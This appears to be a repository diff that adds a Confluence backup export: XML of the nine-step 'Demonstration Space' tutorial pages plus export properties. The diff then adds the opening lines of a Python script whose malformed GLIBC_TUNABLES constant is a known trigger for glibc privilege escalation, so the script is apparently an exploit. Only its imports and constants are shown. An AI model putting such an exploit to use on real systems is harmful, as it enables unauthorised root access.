href="https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&amp;hl=en&amp;ll=-33.866572,151.207001&amp;spn=0.004321,0.008256&amp;sll=-33.870509,151.203707&amp;sspn=0.008641,0.016512&amp;oq=atlassian,&amp;hq=Atlassian,+George+Street,+New+South+Wales,+Australia&amp;radius=15000&amp;t=m&amp;z=18&amp;iwloc=A">https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&amp;hl=en&amp;ll=-33.866572,151.207001&amp;spn=0.004321,0.008256&amp;sll=-33.870509,151.203707&amp;sspn=0.008641,0.016512&amp;oq=atlassian,&amp;hq=Atlassian,+George+Street,+New+South+Wales,+Australia&amp;radius=15000&amp;t=m&amp;z=18&amp;iwloc=A</a>&nbsp;and paste it onto the page.&nbsp;</li><li>Autoconvert will render the Google Maps view on the page.</li><li><span style="color: rgb(51,51,51);">Save the page. <br /></span></li></ol></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="single"><ac:layout-cell><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"> <br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"> <ac:link><ri:page ri:content-title="Lay out your page (step 6 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Tell people what you think in a comment (step 8 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> </span></h1><p><span style="color: rgb(51,51,51);"> <br /></span></p></ac:layout-cell></ac:layout-section></ac:layout>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163845</id>
<property name="body"><![CDATA[<p><span style="color: rgb(64,64,64);"><br /></span></p><p><span style="color: rgb(64,64,64);">Once you've created content you'll want to share it with your team members.&nbsp;<br /></span><span style="color: rgb(64,64,64);">Confluence can do all the work for you, just click the <strong>Share</strong> button.<br /></span></p><p style="margin-left: 30.0px;"><span style="color: rgb(64,64,64);"><span style="color: rgb(64,64,64);"><br /></span></span></p><ol><li>Let's tell someone about this page. <br />Click the <strong>Share</strong> button at the top right of the page. It looks like this:<br /><br /><ac:image ac:width="379"><ri:attachment ri:filename="step09-01.png" /></ac:image><br />&nbsp;</li><li>Type the name of the person or group you want to share the page with. <br />You can also enter an email address. <br /><br /></li><li>Add a message to give the person some background about the page.<br /><br /></li><li>Click the <strong>Share</strong> button. <br />Confluence will send the person an email message about this page. Shared!</li></ol><p>&nbsp;</p><p><img class="emoticon emoticon-warning" title="(warning)" src="http://localhost:8090/s/en_GB/7502/10587128b0de2a71f82b5acc129b8b5611829c93/_/images/icons/emoticons/warning.png" alt="(warning)" border="0" /><span style="color: rgb(64,64,64);"> If your administrator has not added a mail server, the&nbsp;</span><strong>Share</strong><span style="color: rgb(64,64,64);"> button will only show the share link.<br /></span></p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Tell people what you think in a comment (step 8 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;</span></h1><p style="margin-left: 30.0px;"><span style="color: rgb(51,51,51);"><br /></span></p>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163846</id>
<property name="body"><![CDATA[<ac:layout><ac:layout-section ac:type="single"><ac:layout-cell><p style="margin-left: 60.0px;"><br /></p><p>Insert tables with drag and drop simplicity. <br />Add, remove, cut, and paste rows and columns &ndash; this makes working with tables easy. <br />&nbsp;</p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_right_sidebar"><ac:layout-cell><ol><li><span style="color: rgb(51,51,51);"><strong>Edit</strong>&nbsp;the page.<br />&nbsp;<br /></span></li><li><span style="color: rgb(51,51,51);">Click in the right-hand column to position your cursor.<br />&nbsp;<br /></span></li><li>Click the <strong>Table</strong> menu on the toolbar and drag to choose the size of your table. <br /><br /><ac:image ac:thumbnail="true" ac:width="225"><ri:attachment ri:filename="step05-01.png" /></ac:image><br />&nbsp;</li><li>The table toolbar appears when there is table on your page.<br /><br /></li><li>Place your cursor in the first cell of the table and add a row below it.<br /><br /><ac:image ac:thumbnail="true" ac:width="160"><ri:attachment ri:filename="step05-03.png" /></ac:image><br /><br /></li><li>Place your cursor in any cell of the last column of the table and delete the column.<br /><br /><ac:image ac:thumbnail="true" ac:width="160"><ri:attachment ri:filename="step05-04.png" /></ac:image><br />&nbsp;</li><li>Grab one of the column borders and drag to resize the column.<br /><br /></li><li><span style="line-height: 1.42857;">Click&nbsp;</span><strong style="line-height: 1.42857;">Update&nbsp;</strong><span style="line-height: 1.42857;">to publish your changes to the page.</span></li></ol></ac:layout-cell><ac:layout-cell><p><br /></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="single"><ac:layout-cell><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Prettify the page with an image (step 4 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Lay out your page (step 6 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1></ac:layout-cell></ac:layout-section></ac:layout>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163847</id>
<property name="body"><![CDATA[<p><br />You can start a discussion by simply leaving a comment on a page, like this one.</p><p>Why not give it a try?</p><p>Go to the bottom of this page and start typing in the comment area. When you're finished just press save!&nbsp;</p><p>Don't just confine your comments to the bottom of the page - highlight some text on the page to add an inline comment like this:</p><p><br /></p><p><ac:image ac:width="417"><ri:attachment ri:filename="Step8-01.png" /></ac:image></p><p><br /></p><p><strong>Hint:</strong> You can mention another user in a page or&nbsp; comment by typing @ and then the user's name. <br />The user will be notified that you mentioned them.</p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><ac:link><ri:page ri:content-title="Learn the wonders of autoconvert (step 7 of 9)" /><ac:link-body><ac:image ac:height="40" ac:width="106"><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Share your page with a team member (step 9 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></h1><p><span style="color: rgb(51,51,51);"><br /></span></p>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163848</id>
<property name="body"><![CDATA[<p>Page layouts provide structure in your page &mdash; two-column, three-column, and more &mdash; making it easy for anyone to create beautiful pages.</p><p>&nbsp;</p><ol><li><span style="color: rgb(51,51,51);"><strong>Edit</strong>&nbsp;the page.<br />&nbsp;&nbsp;</span></li><li><span style="color: rgb(51,51,51);">Click the <strong>Page Layout</strong></span> button in the editor toolbar. It looks like this:<br /><br /><ac:image ac:thumbnail="true" ac:width="160"><ri:attachment ri:filename="step06-image01.png" /></ac:image><br /><span style="color: rgb(51,51,51);"><br />&nbsp;</span>A section is added to your page, dotted lines indicate the section boundaries.&nbsp;<br />&nbsp;</li><li>Choose a <strong>column layout</strong>&nbsp;to apply to your section, for example two columns. <br /><br /><ac:image ac:width="308"><ri:attachment ri:filename="step06-image02.png" /></ac:image> <br />&nbsp;</li><li><span style="color: rgb(51,51,51);">Click the <strong>Add section</strong> button to add another section to the page. <br /><br /><ac:image ac:width="385"><ri:attachment ri:filename="step06-image03.png" /></ac:image><br />&nbsp;</span></li><li><span style="color: rgb(51,51,51);">Choose a different <strong>column layout</strong> for this section.&nbsp;<br /><br /></span></li><li>Click <strong>Update </strong>to publish your changes to the page.</li></ol><p><span>You can add as many sections as you need, and each section can have a different column layout.&nbsp;</span></p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Get serious with a table (step 5 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Learn the wonders of autoconvert (step 7 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163849</id>
<property name="body"><![CDATA[<p><br /></p><p>Let's start with the editor. You'll use the Confluence editor to <strong>create</strong> and <strong>edit</strong> pages.<br />You can type in the editor as you would in any document, apply formatting, and embed other content and files into the page.</p><p>The editor looks like this <span style="color: rgb(153,153,153);">(click images for a larger view)</span>:</p><p><br /></p><p><ac:image ac:width="511"><ri:attachment ri:filename="step-2-image-1.png" /></ac:image></p><p><br /></p><p><span>Here is a description of the components:</span></p><ol><li><h4><span style="color: rgb(0,0,0);">Editor toolbar</span></h4><span style="color: rgb(51,51,51);">The editor toolbar provides tools to format and color page content, create lists and tables, indent and align text, and insert other content into the page such as symbols, links, images, multimedia files, and macros.<br /><br /></span><ac:image ac:width="870"><ri:attachment ri:filename="step-2-image-3.png" /></ac:image><br /><br /></li><li><h4><span style="color: rgb(0,0,0);">Page content</span></h4><span style="color: rgb(51,51,51);">This is where you and your team will type the content for your page. You can also drag attachments from your desktop here.<br /></span>If other people are editing the page at the same time, you'll see their changes in real time!&nbsp;<br /><br /><br /></li><li><h4><span style="color: rgb(0,0,0);">Publish or close</span></h4><span style="color: rgb(0,0,0);">We're saving all the time in the editor. &nbsp;Once you're ready, hit <strong>publish</strong> to publish your page so others can see the changes, or <strong>close</strong> to finish editing later.<br /><br /><ac:image ac:width="800"><ri:attachment ri:filename="step-2-image-5.png" /></ac:image></span><br /><br /></li></ol><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="What is Confluence? (step 1 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1><p><span style="color: rgb(51,51,51);"><br /></span></p>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163850</id>
<property name="body"><![CDATA[<ac:layout><ac:layout-section ac:type="single"><ac:layout-cell><p style="margin-left: 60.0px;">&nbsp;</p><p><span style="color: rgb(51,51,51);">The Confluence editor helps you create content, fast. </span><span style="color: rgb(51,51,51);">You can embed images, Office documents, and even videos. <br />That's just the tip of the iceberg when it comes to creating useful content for your team.&nbsp;<br />&nbsp;</span></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_right_sidebar"><ac:layout-cell><ol><li style="text-align: left;"><strong>Edit</strong> the page.<br /><br /></li><li style="text-align: left;">Click in the right-hand column to position your cursor.<br /><br /></li><li style="text-align: left;">Click <strong style="text-align: left;">Files</strong> on the editor toolbar. It looks like this:<br /><br /><ac:image ac:width="301"><ri:attachment ri:filename="step04-01.png" /></ac:image><br />&nbsp;</li><li style="text-align: left;"><span>The Files dialog shows you the files attached to this page. <br />Select the image named&nbsp;<strong>Confluence Origami Necktie</strong>.<br />&nbsp;<br /></span></li><li style="text-align: left;">Click <strong>Insert</strong>.<br /><br /></li><li style="text-align: left;"><span style="color: rgb(51,51,51);">You will return to this page, and see the 'Image Properties Panel'. If you don't see it, click the image.<br />&nbsp;<br /></span></li><li style="text-align: left;"><span style="color: rgb(51,51,51);">Resize the image by clicking on the square buttons or entering a width.<br /><br /><ac:image ac:width="540"><ri:attachment ri:filename="step04-02.png" /></ac:image><br />&nbsp;<br /></span><span style="color: rgb(51,51,51);"><br /></span></li><li style="text-align: left;"><span>Click <strong>Properties </strong>and then select the <strong>Curl Shadow</strong> option from the Image Effects dialog.&nbsp;<br />&nbsp;&nbsp; <br /></span></li><li style="text-align: left;"><span style="color: rgb(51,51,51);">Your image should look like this when completed:<br /><ac:image ac:queryparams="effects=border-simple,shadow-kn" ac:thumbnail="true" ac:width="300"><ri:attachment ri:filename="Confluence-Origami-Necktie.jpeg" /></ac:image><br />&nbsp;</span></li><li style="text-align: left;"><span style="line-height: 1.42857;">Click&nbsp;</span><strong style="line-height: 1.42857;">Update&nbsp;</strong><span style="line-height: 1.42857;">to publish your changes to the page.</span><br /><br /></li><li style="text-align: left;">View the image on the page, or click to preview the file.</li></ol><p style="text-align: left;">The Files button is not just for images, you can insert and preview a wide range of files, including Microsoft Office documents and PDFs.</p></ac:layout-cell><ac:layout-cell><p>&nbsp;</p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="single"><ac:layout-cell><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Get serious with a table (step 5 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1><p><span style="color: rgb(51,51,51);"><br /></span></p></ac:layout-cell></ac:layout-section></ac:layout>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163851</id>
<property name="body"><![CDATA[]]></property>
<property name="content" class="SpaceDescription" package="com.atlassian.confluence.spaces"><id name="id">98357</id>
</property>
<property name="bodyType">0</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163841</id>
<property name="body"><![CDATA[<p style="margin-left: 60.0px;">&nbsp;</p><p>Pages live in spaces. This page is in the 'Demonstration Space'.&nbsp;<br />&nbsp;</p><p>Let's play with some content. Don't worry, you won't break anything:</p><ol><li>Click&nbsp;<strong>Edit</strong> at the top of this page. Now you're in the editor.<br /><br /></li><li>Type some words anywhere on the page.<br /><br /></li><li>Have some fun:<span style="line-height: 0.0px;">&nbsp;</span></li></ol><ul><li style="list-style-type: none;"><ul><li>Change the color of the text: Select the text, then choose a color from the color option in the editor tool bar.<br /><br /></li><li>Add a link: Select some text, then choose the <strong>Link</strong> button on the toolbar.<br />Click <strong>Web Link</strong> and enter an <strong>Address</strong>, such as&nbsp;<code>http://www.atlassian.com</code>. <br />Click <strong>Insert</strong> to insert the link.<br /><br /></li><li>Find a file or picture on your computer, and drag it anywhere on this page.<br /><br /></li><li>Try some of the other options on the editor toolbar.</li></ul></li></ul><p>When<em> y</em>ou're ready, click <strong>Update</strong> to publish your changes then<strong>&nbsp;</strong>and go to the next step or back to the space home.</p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg" /></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg" /></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Prettify the page with an image (step 4 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg" /></ac:image></ac:link-body></ac:link></span></h1><p>&nbsp;</p>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163842</id>
<property name="body"><![CDATA[<p style="text-align: center;">&nbsp;</p><h2><ac:image><ri:attachment ri:filename="welcome.png" /></ac:image><br />&nbsp; <span style="color: rgb(128,128,128);">With Confluence it is easy to create, edit and share content with your team. <br />&nbsp; Choose a topic below to start learning how.</span></h2><h2><span style="color: rgb(0,0,128);"><br /></span></h2><ol><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="What is Confluence? (step 1 of 9)" /><ac:link-body>What is Confluence?<br /><br /></ac:link-body></ac:link></span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:plain-text-link-body><![CDATA[A quick look at the editor]] ></ac:plain-text-link-body></ac:link><br />&nbsp;</span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /><ac:plain-text-link-body><![CDATA[Let's edit this page]] ></ac:plain-text-link-body></ac:link><br /><br /></span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Prettify the page with an image (step 4 of 9)" /><ac:link-body>Prettify the page with an image<br /><br /></ac:link-body></ac:link></span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Get serious with a table (step 5 of 9)" /><ac:link-body>Get serious with a table<br /></ac:link-body></ac:link></span><span style="color: rgb(0,0,128);">&nbsp;</span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Lay out your page (step 6 of 9)" /><ac:plain-text-link-body><![CDATA[Lay out your page]] ></ac:plain-text-link-body></ac:link>&nbsp;<br /><br /></span></li><li><ac:link><ri:page ri:content-title="Learn the wonders of autoconvert (step 7 of 9)" /><ac:plain-text-link-body><![CDATA[Learn the wonders of autoconvert]] ></ac:plain-text-link-body></ac:link>&nbsp;<br /><br /></li><li><ac:link><ri:page ri:content-title="Tell people what you think in a comment (step 8 of 9)" /><ac:plain-text-link-body><![CDATA[Tell people what you think in a comment]] ></ac:plain-text-link-body></ac:link>&nbsp;<br /><br /></li><li><ac:link><ri:page ri:content-title="Share your page with a team member (step 9 of 9)" /><ac:plain-text-link-body><![CDATA[Share your page with a team member]] ></ac:plain-text-link-body></ac:link></li></ol><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p style="text-align: right;">&nbsp; &nbsp; &nbsp;&nbsp;</p>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="BodyContent" package="com.atlassian.confluence.core">
<id name="id">163843</id>
<property name="body"><![CDATA[<p style="margin-left: 60.0px;">&nbsp;</p><p><strong>Confluence</strong> is where you can create, organize and discuss work with your team. <br />Use Confluence for meeting notes, project plans, requirements, sprint planning, how-to guides, or anything you like.</p><p>Click the <strong>Create</strong> button on the header to see some of the types of pages you can create.</p><p>A Confluence page can contain text, images, diagrams, activity streams, videos, and more. <br />Confluence puts your content online in a central place where your team can search, edit and discuss it at any time. <span><span style="color: rgb(0,0,0);">&nbsp;</span></span></p><p><span><span style="color: rgb(0,0,0);">So let's try it!<span style="color: rgb(0,0,255);">&nbsp;<ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:plain-text-link-body><![CDATA[Click here to learn how to edit a page]] ></ac:plain-text-link-body></ac:link></span>&nbsp;</span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);">&nbsp;</span></span></p><h1 style="text-align: center;"><ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link>&nbsp;<ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></h1><p><span style="color: rgb(51,51,51);"><br /></span></p><p><span style="color: rgb(51,51,51);"><br /></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p>]]></property>
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
</property>
<property name="bodyType">2</property>
</object>
<object class="Space" package="com.atlassian.confluence.spaces">
<id name="id">131073</id>
<property name="name"><![CDATA[Demonstration Space]]></property>
<property name="key"><![CDATA[ds]]></property>
<property name="lowerKey"><![CDATA[ds]]></property>
<property name="description" class="SpaceDescription" package="com.atlassian.confluence.spaces"><id name="id">98357</id>
</property>
<property name="homePage" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="permissions" class="java.util.Collection"><element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458761</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458762</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458763</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458764</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458765</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458766</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458767</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458768</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458769</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458770</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458771</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458772</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458773</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458774</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458775</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458776</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458777</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458778</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458779</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458780</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458781</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458782</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458783</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458784</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458785</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458786</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458787</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458788</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458789</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458790</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458791</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458792</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458793</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458794</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458795</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458796</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458797</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458798</id>
</element>
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458799</id>
</element>
</collection>
<property name="creationDate">2020-04-14 11:55:11.912</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="spaceType">global</property>
<property name="spaceStatus" enum-class="SpaceStatus" package="com.atlassian.confluence.spaces">CURRENT</property>
</object>
</hibernate-generic>
@@ -0,0 +1,14 @@
#Thu Nov 09 06:05:19 UTC 2023
ao.data.version.min.com.atlassian.mywork.mywork-confluence-host-plugin=1.1.30
ao.data.version.com.atlassian.mywork.mywork-confluence-host-plugin=8.3.8
createdByVersionNumber=7.19.12
supportEntitlementNumber=SEN-L1699509489567
source=server
buildNumber=8506
ao.data.list=com.atlassian.mywork.mywork-confluence-host-plugin, com.atlassian.confluence.plugins.confluence-space-ia
ao.data.version.min.com.atlassian.confluence.plugins.confluence-space-ia=5.0
defaultUsersGroup=confluence-users
ao.data.version.com.atlassian.confluence.plugins.confluence-space-ia=17.19.9
exportType=all
createdByBuildNumber=8804
backupAttachments=true
@@ -0,0 +1,312 @@
import binascii
import os
import resource
import time
import struct
import sys
from ctypes import *
from ctypes.util import find_library
from shutil import which
TUNABLES_MISCONFIG = b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging="
STRING_TABLE_INDEX = "shstrndx"
